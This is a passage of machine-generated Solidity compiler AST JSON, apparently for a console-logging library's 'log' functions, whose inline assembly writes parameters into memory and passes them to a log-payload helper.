alse,"isSlot":false,"src":"259291:2:22","valueSize":1},{"declaration":42362,"isOffset":false,"isSlot":false,"src":"259321:2:22","valueSize":1},{"declaration":42334,"isOffset":false,"isSlot":false,"src":"259461:2:22","valueSize":1},{"declaration":42336,"isOffset":false,"isSlot":false,"src":"259490:2:22","valueSize":1},{"declaration":42338,"isOffset":false,"isSlot":false,"src":"259584:2:22","valueSize":1},{"declaration":42340,"isOffset":false,"isSlot":false,"src":"259550:2:22","valueSize":1}],"id":42364,"nodeType":"InlineAssembly","src":"258763:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42366,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"259622:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"259628:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42365,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"259606:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42368,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"259606:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42369,"nodeType":"ExpressionStatement","src":"259606:27:22"},{"AST":{"nativeSrc":"259652:214:22","nodeType":"YulBlock","src":"259652:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"259673:4:22","nodeType":"YulLiteral","src":"259673:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"259679:2:22","nodeType":"YulIdentifier","src":"259679:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259666:6:22","nodeType":"YulIdentifier","src":"259666:6:22"},"nativeSrc":"259666:16:22","nodeType":"YulFunctionCall","src":"259666:16:22"},"nativeSrc":"259666:16:22","nodeType":"YulExpressionStatement","src":"259666:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259702:4:22","nodeType":"YulLiteral","src":"259702:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"259708:2:22","nodeType":"YulIdentifier","src":"259708:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259695:6:22","nodeType":"YulIdentifier","src":"259695:6:22"},"nativeSrc":"259695:16:22","nodeType":"YulFunctionCall","src":"259695:16:22"},"nativeSrc":"259695:16:22","nodeType":"YulExpressionStatement","src":"259695:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259731:4:22","nodeType":"YulLiteral","src":"259731:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"259737:2:22","nodeType":"YulIdentifier","src":"259737:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259724:6:22","nodeType":"YulIdentifier","src":"259724:6:22"},"nativeSrc":"259724:16:22","nodeType":"YulFunctionCall","src":"259724:16:22"},"nativeSrc":"259724:16:22","nodeType":"YulExpressionStatement","src":"259724:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259760:4:22","nodeType":"YulLiteral","src":"259760:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"259766:2:22","nodeType":"YulIdentifier","src":"259766:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259753:6:22","nodeType":"YulIdentifier","src":"259753:6:22"},"nativeSrc":"259753:16:22","nodeType":"YulFunctionCall","src":"259753:16:22"},"nativeSrc":"259753:16:22","nodeType":"YulExpressionStatement","src":"259753:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259789:4:22","nodeType":"YulLiteral","src":"259789:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"259795:2:22","nodeType":"YulIdentifier","src":"259795:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259782:6:22","nodeType":"YulIdentifier","src":"259782:6:22"},"nativeSrc":"259782:16:22","nodeType":"YulFunctionCall","src":"259782:16:22"},"nativeSrc":"259782:16:22","nodeType":"YulExpressionStatement","src":"259782:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259818:4:22","nodeType":"YulLiteral","src":"259818:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"259824:2:22","nodeType":"YulIdentifier","src":"259824:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259811:6:22","nodeType":"YulIdentifier","src":"259811:6:22"},"nativeSrc":"259811:16:22","nodeType":"YulFunctionCall","src":"259811:16:22"},"nativeSrc":"259811:16:22","nodeType":"YulExpressionStatement","src":"259811:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259847:4:22","nodeType":"YulLiteral","src":"259847:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"259853:2:22","nodeType":"YulIdentifier","src":"259853:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259840:6:22","nodeType":"YulIdentifier","src":"259840:6:22"},"nativeSrc":"259840:16:22","nodeType":"YulFunctionCall","src":"259840:16:22"},"nativeSrc":"259840:16:22","nodeType":"YulExpressionStatement","src":"259840:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42344,"isOffset":false,"isSlot":false,"src":"259679:2:22","valueSize":1},{"declaration":42347,"isOffset":false,"isSlot":false,"src":"259708:2:22","valueSize":1},{"declaration":42350,"isOffset":false,"isSlot":false,"src":"259737:2:22","valueSize":1},{"declaration":42353,"isOffset":false,"isSlot":false,"src":"259766:2:22","valueSize":1},{"declaration":42356,"isOffset":false,"isSlot":false,"src":"259795:2:22","valueSize":1},{"declaration":42359,"isOffset":false,"isSlot":false,"src":"259824:2:22","valueSize":1},{"declaration":42362,"isOffset":false,"isSlot":false,"src":"259853:2:22","valueSize":1}],"id":42370,"nodeType":"InlineAssembly","src":"259643:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"258553:3:22","parameters":{"id":42341,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42334,"mutability":"mutable","name":"p0","nameLocation":"258565:2:22","nodeType":"VariableDeclaration","scope":42372,"src":"258557:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42333,"name":"uint256","nodeType":"ElementaryTypeName","src":"258557:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42336,"mutability":"mutable","name":"p1","nameLocation":"258574:2:22","nodeType":"VariableDeclaration","scope":42372,"src":"258569:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42335,"name":"bool","nodeType":"ElementaryTypeName","src":"258569:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42338,"mutability":"mutable","name":"p2","nameLocation":"258586:2:22","nodeType":"VariableDeclaration","scope":42372,"src":"258578:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42337,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258578:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42340,"mutability":"mutable","name":"p3","nameLocation":"258595:2:22","nodeType":"VariableDeclaration","scope":42372,"src":"258590:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42339,"name":"bool","nodeType":"ElementaryTypeName","src":"258590:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"258556:42:22"},"returnParameters":{"id":42342,"nodeType":"ParameterList","parameters":[],"src":"258613:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42412,"nodeType":"FunctionDefinition","src":"259878:1334:22","nodes":[],"body":{"id":42411,"nodeType":"Block","src":"259950:1262:22","nodes":[],"statements":[{"assignments":[42384],"declarations":[{"constant":false,"id":42384,"mutability":"mutable","name":"m0","nameLocation":"259968:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"259960:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42383,"name":"bytes32","nodeType":"ElementaryTypeName","src":"259960:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42385,"nodeType":"VariableDeclarationStatement","src":"259960:10:22"},{"assignments":[42387],"declarations":[{"constant":false,"id":42387,"mutability":"mutable","name":"m1","nameLocation":"259988:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"259980:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42386,"name":"bytes32","nodeType":"ElementaryTypeName","src":"259980:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42388,"nodeType":"VariableDeclarationStatement","src":"259980:10:22"},{"assignments":[42390],"declarations":[{"constant":false,"id":42390,"mutability":"mutable","name":"m2","nameLocation":"260008:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"260000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42389,"name":"bytes32","nodeType":"ElementaryTypeName","src":"260000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42391,"nodeType":"VariableDeclarationStatement","src":"260000:10:22"},{"assignments":[42393],"declarations":[{"constant":false,"id":42393,"mutability":"mutable","name":"m3","nameLocation":"260028:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"260020:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42392,"name":"bytes32","nodeType":"ElementaryTypeName","src":"260020:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42394,"nodeType":"VariableDeclarationStatement","src":"260020:10:22"},{"assignments":[42396],"declarations":[{"constant":false,"id":42396,"mutability":"mutable","name":"m4","nameLocation":"260048:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"260040:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42395,"name":"bytes32","nodeType":"ElementaryTypeName","src":"260040:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42397,"nodeType":"VariableDeclarationStatement","src":"260040:10:22"},{"assignments":[42399],"declarations":[{"constant":false,"id":42399,"mutability":"mutable","name":"m5","nameLocation":"260068:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"260060:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42398,"name":"bytes32","nodeType":"ElementaryTypeName","src":"260060:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42400,"nodeType":"VariableDeclarationStatement","src":"260060:10:22"},{"assignments":[42402],"declarations":[{"constant":false,"id":42402,"mutability":"mutable","name":"m6","nameLocation":"260088:2:22","nodeType":"VariableDeclaration","scope":42411,"src":"260080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42401,"name":"bytes32","nodeType":"ElementaryTypeName","src":"260080:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42403,"nodeType":"VariableDeclarationStatement","src":"260080:10:22"},{"AST":{"nativeSrc":"260109:828:22","nodeType":"YulBlock","src":"260109:828:22","statements":[{"body":{"nativeSrc":"260152:313:22","nodeType":"YulBlock","src":"260152:313:22","statements":[{"nativeSrc":"260170:15:22","nodeType":"YulVariableDeclaration","src":"260170:15:22","value":{"kind":"number","nativeSrc":"260184:1:22","nodeType":"YulLiteral","src":"260184:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"260174:6:22","nodeType":"YulTypedName","src":"260174:6:22","type":""}]},{"body":{"nativeSrc":"260255:40:22","nodeType":"YulBlock","src":"260255:40:22","statements":[{"body":{"nativeSrc":"260284:9:22","nodeType":"YulBlock","src":"260284:9:22","statements":[{"nativeSrc":"260286:5:22","nodeType":"YulBreak","src":"260286:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"260272:6:22","nodeType":"YulIdentifier","src":"260272:6:22"},{"name":"w","nativeSrc":"260280:1:22","nodeType":"YulIdentifier","src":"260280:1:22"}],"functionName":{"name":"byte","nativeSrc":"260267:4:22","nodeType":"YulIdentifier","src":"260267:4:22"},"nativeSrc":"260267:15:22","nodeType":"YulFunctionCall","src":"260267:15:22"}],"functionName":{"name":"iszero","nativeSrc":"260260:6:22","nodeType":"YulIdentifier","src":"260260:6:22"},"nativeSrc":"260260:23:22","nodeType":"YulFunctionCall","src":"260260:23:22"},"nativeSrc":"260257:36:22","nodeType":"YulIf","src":"260257:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"260212:6:22","nodeType":"YulIdentifier","src":"260212:6:22"},{"kind":"number","nativeSrc":"260220:4:22","nodeType":"YulLiteral","src":"260220:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"260209:2:22","nodeType":"YulIdentifier","src":"260209:2:22"},"nativeSrc":"260209:16:22","nodeType":"YulFunctionCall","src":"260209:16:22"},"nativeSrc":"260202:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"260226:28:22","nodeType":"YulBlock","src":"260226:28:22","statements":[{"nativeSrc":"260228:24:22","nodeType":"YulAssignment","src":"260228:24:22","value":{"arguments":[{"name":"length","nativeSrc":"260242:6:22","nodeType":"YulIdentifier","src":"260242:6:22"},{"kind":"number","nativeSrc":"260250:1:22","nodeType":"YulLiteral","src":"260250:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"260238:3:22","nodeType":"YulIdentifier","src":"260238:3:22"},"nativeSrc":"260238:14:22","nodeType":"YulFunctionCall","src":"260238:14:22"},"variableNames":[{"name":"length","nativeSrc":"260228:6:22","nodeType":"YulIdentifier","src":"260228:6:22"}]}]},"pre":{"nativeSrc":"260206:2:22","nodeType":"YulBlock","src":"260206:2:22","statements":[]},"src":"260202:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"260319:3:22","nodeType":"YulIdentifier","src":"260319:3:22"},{"name":"length","nativeSrc":"260324:6:22","nodeType":"YulIdentifier","src":"260324:6:22"}],"functionName":{"name":"mstore","nativeSrc":"260312:6:22","nodeType":"YulIdentifier","src":"260312:6:22"},"nativeSrc":"260312:19:22","nodeType":"YulFunctionCall","src":"260312:19:22"},"nativeSrc":"260312:19:22","nodeType":"YulExpressionStatement","src":"260312:19:22"},{"nativeSrc":"260348:37:22","nodeType":"YulVariableDeclaration","src":"260348:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"260365:3:22","nodeType":"YulLiteral","src":"260365:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"260374:1:22","nodeType":"YulLiteral","src":"260374:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"260377:6:22","nodeType":"YulIdentifier","src":"260377:6:22"}],"functionName":{"name":"shl","nativeSrc":"260370:3:22","nodeType":"YulIdentifier","src":"260370:3:22"},"nativeSrc":"260370:14:22","nodeType":"YulFunctionCall","src":"260370:14:22"}],"functionName":{"name":"sub","nativeSrc":"260361:3:22","nodeType":"YulIdentifier","src":"260361:3:22"},"nativeSrc":"260361:24:22","nodeType":"YulFunctionCall","src":"260361:24:22"},"variables":[{"name":"shift","nativeSrc":"260352:5:22","nodeType":"YulTypedName","src":"260352:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"260413:3:22","nodeType":"YulIdentifier","src":"260413:3:22"},{"kind":"number","nativeSrc":"260418:4:22","nodeType":"YulLiteral","src":"260418:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"260409:3:22","nodeType":"YulIdentifier","src":"260409:3:22"},"nativeSrc":"260409:14:22","nodeType":"YulFunctionCall","src":"260409:14:22"},{"arguments":[{"name":"shift","nativeSrc":"260429:5:22","nodeType":"YulIdentifier","src":"260429:5:22"},{"arguments":[{"name":"shift","nativeSrc":"260440:5:22","nodeType":"YulIdentifier","src":"260440:5:22"},{"name":"w","nativeSrc":"260447:1:22","nodeType":"YulIdentifier","src":"260447:1:22"}],"functionName":{"name":"shr","nativeSrc":"260436:3:22","nodeType":"YulIdentifier","src":"260436:3:22"},"nativeSrc":"260436:13:22","nodeType":"YulFunctionCall","src":"260436:13:22"}],"functionName":{"name":"shl","nativeSrc":"260425:3:22","nodeType":"YulIdentifier","src":"260425:3:22"},"nativeSrc":"260425:25:22","nodeType":"YulFunctionCall","src":"260425:25:22"}],"functionName":{"name":"mstore","nativeSrc":"260402:6:22","nodeType":"YulIdentifier","src":"260402:6:22"},"nativeSrc":"260402:49:22","nodeType":"YulFunctionCall","src":"260402:49:22"},"nativeSrc":"260402:49:22","nodeType":"YulExpressionStatement","src":"260402:49:22"}]},"name":"writeString","nativeSrc":"260123:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"260144:3:22","nodeType":"YulTypedName","src":"260144:3:22","type":""},{"name":"w","nativeSrc":"260149:1:22","nodeType":"YulTypedName","src":"260149:1:22","type":""}],"src":"260123:342:22"},{"nativeSrc":"260478:17:22","nodeType":"YulAssignment","src":"260478:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260490:4:22","nodeType":"YulLiteral","src":"260490:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"260484:5:22","nodeType":"YulIdentifier","src":"260484:5:22"},"nativeSrc":"260484:11:22","nodeType":"YulFunctionCall","src":"260484:11:22"},"variableNames":[{"name":"m0","nativeSrc":"260478:2:22","nodeType":"YulIdentifier","src":"260478:2:22"}]},{"nativeSrc":"260508:17:22","nodeType":"YulAssignment","src":"260508:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260520:4:22","nodeType":"YulLiteral","src":"260520:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"260514:5:22","nodeType":"YulIdentifier","src":"260514:5:22"},"nativeSrc":"260514:11:22","nodeType":"YulFunctionCall","src":"260514:11:22"},"variableNames":[{"name":"m1","nativeSrc":"260508:2:22","nodeType":"YulIdentifier","src":"260508:2:22"}]},{"nativeSrc":"260538:17:22","nodeType":"YulAssignment","src":"260538:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260550:4:22","nodeType":"YulLiteral","src":"260550:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"260544:5:22","nodeType":"YulIdentifier","src":"260544:5:22"},"nativeSrc":"260544:11:22","nodeType":"YulFunctionCall","src":"260544:11:22"},"variableNames":[{"name":"m2","nativeSrc":"260538:2:22","nodeType":"YulIdentifier","src":"260538:2:22"}]},{"nativeSrc":"260568:17:22","nodeType":"YulAssignment","src":"260568:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260580:4:22","nodeType":"YulLiteral","src":"260580:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"260574:5:22","nodeType":"YulIdentifier","src":"260574:5:22"},"nativeSrc":"260574:11:22","nodeType":"YulFunctionCall","src":"260574:11:22"},"variableNames":[{"name":"m3","nativeSrc":"260568:2:22","nodeType":"YulIdentifier","src":"260568:2:22"}]},{"nativeSrc":"260598:17:22","nodeType":"YulAssignment","src":"260598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260610:4:22","nodeType":"YulLiteral","src":"260610:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"260604:5:22","nodeType":"YulIdentifier","src":"260604:5:22"},"nativeSrc":"260604:11:22","nodeType":"YulFunctionCall","src":"260604:11:22"},"variableNames":[{"name":"m4","nativeSrc":"260598:2:22","nodeType":"YulIdentifier","src":"260598:2:22"}]},{"nativeSrc":"260628:17:22","nodeType":"YulAssignment","src":"260628:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260640:4:22","nodeType":"YulLiteral","src":"260640:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"260634:5:22","nodeType":"YulIdentifier","src":"260634:5:22"},"nativeSrc":"260634:11:22","nodeType":"YulFunctionCall","src":"260634:11:22"},"variableNames":[{"name":"m5","nativeSrc":"260628:2:22","nodeType":"YulIdentifier","src":"260628:2:22"}]},{"nativeSrc":"260658:17:22","nodeType":"YulAssignment","src":"260658:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"260670:4:22","nodeType":"YulLiteral","src":"260670:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"260664:5:22","nodeType":"YulIdentifier","src":"260664:5:22"},"nativeSrc":"260664:11:22","nodeType":"YulFunctionCall","src":"260664:11:22"},"variableNames":[{"name":"m6","nativeSrc":"260658:2:22","nodeType":"YulIdentifier","src":"260658:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"260758:4:22","nodeType":"YulLiteral","src":"260758:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"260764:10:22","nodeType":"YulLiteral","src":"260764:10:22","type":"","value":"0x2c1d0746"}],"functionName":{"name":"mstore","nativeSrc":"260751:6:22","nodeType":"YulIdentifier","src":"260751:6:22"},"nativeSrc":"260751:24:22","nodeType":"YulFunctionCall","src":"260751:24:22"},"nativeSrc":"260751:24:22","nodeType":"YulExpressionStatement","src":"260751:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"260795:4:22","nodeType":"YulLiteral","src":"260795:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"260801:2:22","nodeType":"YulIdentifier","src":"260801:2:22"}],"functionName":{"name":"mstore","nativeSrc":"260788:6:22","nodeType":"YulIdentifier","src":"260788:6:22"},"nativeSrc":"260788:16:22","nodeType":"YulFunctionCall","src":"260788:16:22"},"nativeSrc":"260788:16:22","nodeType":"YulExpressionStatement","src":"260788:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"260824:4:22","nodeType":"YulLiteral","src":"260824:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"260830:2:22","nodeType":"YulIdentifier","src":"260830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"260817:6:22","nodeType":"YulIdentifier","src":"260817:6:22"},"nativeSrc":"260817:16:22","nodeType":"YulFunctionCall","src":"260817:16:22"},"nativeSrc":"260817:16:22","nodeType":"YulExpressionStatement","src":"260817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"260853:4:22","nodeType":"YulLiteral","src":"260853:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"260859:4:22","nodeType":"YulLiteral","src":"260859:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"260846:6:22","nodeType":"YulIdentifier","src":"260846:6:22"},"nativeSrc":"260846:18:22","nodeType":"YulFunctionCall","src":"260846:18:22"},"nativeSrc":"260846:18:22","nodeType":"YulExpressionStatement","src":"260846:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"260884:4:22","nodeType":"YulLiteral","src":"260884:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"260890:2:22","nodeType":"YulIdentifier","src":"260890:2:22"}],"functionName":{"name":"mstore","nativeSrc":"260877:6:22","nodeType":"YulIdentifier","src":"260877:6:22"},"nativeSrc":"260877:16:22","nodeType":"YulFunctionCall","src":"260877:16:22"},"nativeSrc":"260877:16:22","nodeType":"YulExpressionStatement","src":"260877:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"260918:4:22","nodeType":"YulLiteral","src":"260918:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"260924:2:22","nodeType":"YulIdentifier","src":"260924:2:22"}],"functionName":{"name":"writeString","nativeSrc":"260906:11:22","nodeType":"YulIdentifier","src":"260906:11:22"},"nativeSrc":"260906:21:22","nodeType":"YulFunctionCall","src":"260906:21:22"},"nativeSrc":"260906:21:22","nodeType":"YulExpressionStatement","src":"260906:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42384,"isOffset":false,"isSlot":false,"src":"260478:2:22","valueSize":1},{"declaration":42387,"isOffset":false,"isSlot":false,"src":"260508:2:22","valueSize":1},{"declaration":42390,"isOffset":false,"isSlot":false,"src":"260538:2:22","valueSize":1},{"declaration":42393,"isOffset":false,"isSlot":false,"src":"260568:2:22","valueSize":1},{"declaration":42396,"isOffset":false,"isSlot":false,"src":"260598:2:22","valueSize":1},{"declaration":42399,"isOffset":false,"isSlot":false,"src":"260628:2:22","valueSize":1},{"declaration":42402,"isOffset":false,"isSlot":false,"src":"260658:2:22","valueSize":1},{"declaration":42374,"isOffset":false,"isSlot":false,"src":"260801:2:22","valueSize":1},{"declaration":42376,"isOffset":false,"isSlot":false,"src":"260830:2:22","valueSize":1},{"declaration":42378,"isOffset":false,"isSlot":false,"src":"260924:2:22","valueSize":1},{"declaration":42380,"isOffset":false,"isSlot":false,"src":"260890:2:22","valueSize":1}],"id":42404,"nodeType":"InlineAssembly","src":"260100:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42406,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"260962:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42407,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"260968:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42405,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"260946:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"260946:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42409,"nodeType":"ExpressionStatement","src":"260946:27:22"},{"AST":{"nativeSrc":"260992:214:22","nodeType":"YulBlock","src":"260992:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"261013:4:22","nodeType":"YulLiteral","src":"261013:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"261019:2:22","nodeType":"YulIdentifier","src":"261019:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261006:6:22","nodeType":"YulIdentifier","src":"261006:6:22"},"nativeSrc":"261006:16:22","nodeType":"YulFunctionCall","src":"261006:16:22"},"nativeSrc":"261006:16:22","nodeType":"YulExpressionStatement","src":"261006:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"261042:4:22","nodeType":"YulLiteral","src":"261042:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"261048:2:22","nodeType":"YulIdentifier","src":"261048:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261035:6:22","nodeType":"YulIdentifier","src":"261035:6:22"},"nativeSrc":"261035:16:22","nodeType":"YulFunctionCall","src":"261035:16:22"},"nativeSrc":"261035:16:22","nodeType":"YulExpressionStatement","src":"261035:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"261071:4:22","nodeType":"YulLiteral","src":"261071:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"261077:2:22","nodeType":"YulIdentifier","src":"261077:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261064:6:22","nodeType":"YulIdentifier","src":"261064:6:22"},"nativeSrc":"261064:16:22","nodeType":"YulFunctionCall","src":"261064:16:22"},"nativeSrc":"261064:16:22","nodeType":"YulExpressionStatement","src":"261064:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"261100:4:22","nodeType":"YulLiteral","src":"261100:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"261106:2:22","nodeType":"YulIdentifier","src":"261106:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261093:6:22","nodeType":"YulIdentifier","src":"261093:6:22"},"nativeSrc":"261093:16:22","nodeType":"YulFunctionCall","src":"261093:16:22"},"nativeSrc":"261093:16:22","nodeType":"YulExpressionStatement","src":"261093:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"261129:4:22","nodeType":"YulLiteral","src":"261129:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"261135:2:22","nodeType":"YulIdentifier","src":"261135:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261122:6:22","nodeType":"